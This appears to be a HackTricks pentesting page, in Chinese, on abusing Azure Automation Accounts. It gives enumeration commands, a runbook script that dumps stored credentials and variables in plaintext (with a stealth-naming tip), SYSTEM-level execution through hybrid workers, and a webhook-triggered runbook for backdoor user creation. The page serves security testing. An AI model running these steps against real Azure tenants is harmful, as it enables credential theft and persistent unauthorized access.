Az - Automation Account

支持HackTricks

基本信息

来自文档: Azure Automation提供基于云的自动化、操作系统更新和配置服务,支持跨Azure和非Azure环境的一致管理。它包括流程自动化、配置管理、更新管理、共享功能和异构特性。

这些类似于Azure中的“计划任务”,可让您执行操作(动作或甚至脚本)来管理、检查和配置Azure环境

运行账户

当使用运行账户时,它会创建一个带有自签名证书的Azure AD 应用程序,创建一个服务主体并为当前订阅中的账户分配Contributor角色(很多权限)。 Microsoft建议为自动化帐户使用托管标识

这将于2023年9月30日移除并更改为托管标识

Runbooks & Jobs

Runbooks允许您执行任意的PowerShell代码。这可能被攻击者滥用,以窃取附加主体的权限(如果有的话)。 在Runbooks代码中,您也可能会发现敏感信息(如凭据)。

如果您可以读取****作业,请这样做,因为它们包含运行的输出(可能包含敏感信息)。

转到自动化帐户 --> <选择自动化帐户> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

混合工作者

Runbook可以在Azure内的容器中运行,也可以在混合工作者(非Azure机器)中运行。 在VM上部署Log Analytics Agent以将其注册为混合工作者。 混合工作者作业在Windows上以SYSTEM身份运行,在Linux上以nxautomation账户运行。 每个混合工作者都注册在一个混合工作者组中。

因此,如果您可以选择在Windows混合工作者中运行Runbook,您将在外部机器上以System身份执行任意命令(很好的枢纽技术)。

损害状态配置(SC)

来自文档: Azure Automation 状态配置是一项Azure配置管理服务,允许您编写、管理和编译PowerShell Desired State Configuration(DSC)配置,用于任何云中的节点或本地数据中心。该服务还导入DSC资源,并将配置分配给目标节点,全部在云中完成。您可以通过在Azure门户中选择配置管理下的**状态配置(DSC)**来访问Azure Automation状态配置。

这些配置中可能包含敏感信息

RCE

可以滥用SC来在托管机器中运行任意脚本。

Az - State Configuration RCE

枚举

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

创建一个运行簿

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

您可以通过修改现有的运行簿以及从 Web 控制台执行相同的操作。

设置自动化高特权用户创建的步骤

1. 初始化自动化帐户

  • 需要的操作: 创建一个新的自动化帐户。

  • 特定设置: 确保启用了"创建 Azure Run As 帐户"。

2. 导入和设置运行簿

  • 来源:MicroBurst GitHub 仓库下载示例运行簿。

  • 需要的操作:

  • 将运行簿导入自动化帐户。

  • 发布运行簿以使其可执行。

  • 附加一个 Webhook 到运行簿,以启用外部触发器。

3. 配置 AzureAD 模块

  • 需要的操作: 将 AzureAD 模块添加到自动化帐户。

  • 额外步骤: 确保所有 Azure 自动化模块都更新到最新版本。

4. 权限分配

  • 要分配的角色:

  • 用户管理员

  • 订阅所有者

  • 目标: 将这些角色分配给自动化帐户以获取必要的特权。

5. 潜在访问丢失的意识

  • 注意: 请注意,配置此类自动化可能导致失去对订阅的控制。

6. 触发用户创建

  • 通过发送 POST 请求触发 Webhook 来创建新用户。

  • 使用提供的 PowerShell 脚本,确保将$uri替换为实际的 Webhook URL,并更新$AccountInfo为所需的用户名和密码。

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

参考资料

支持 HackTricks

Last updated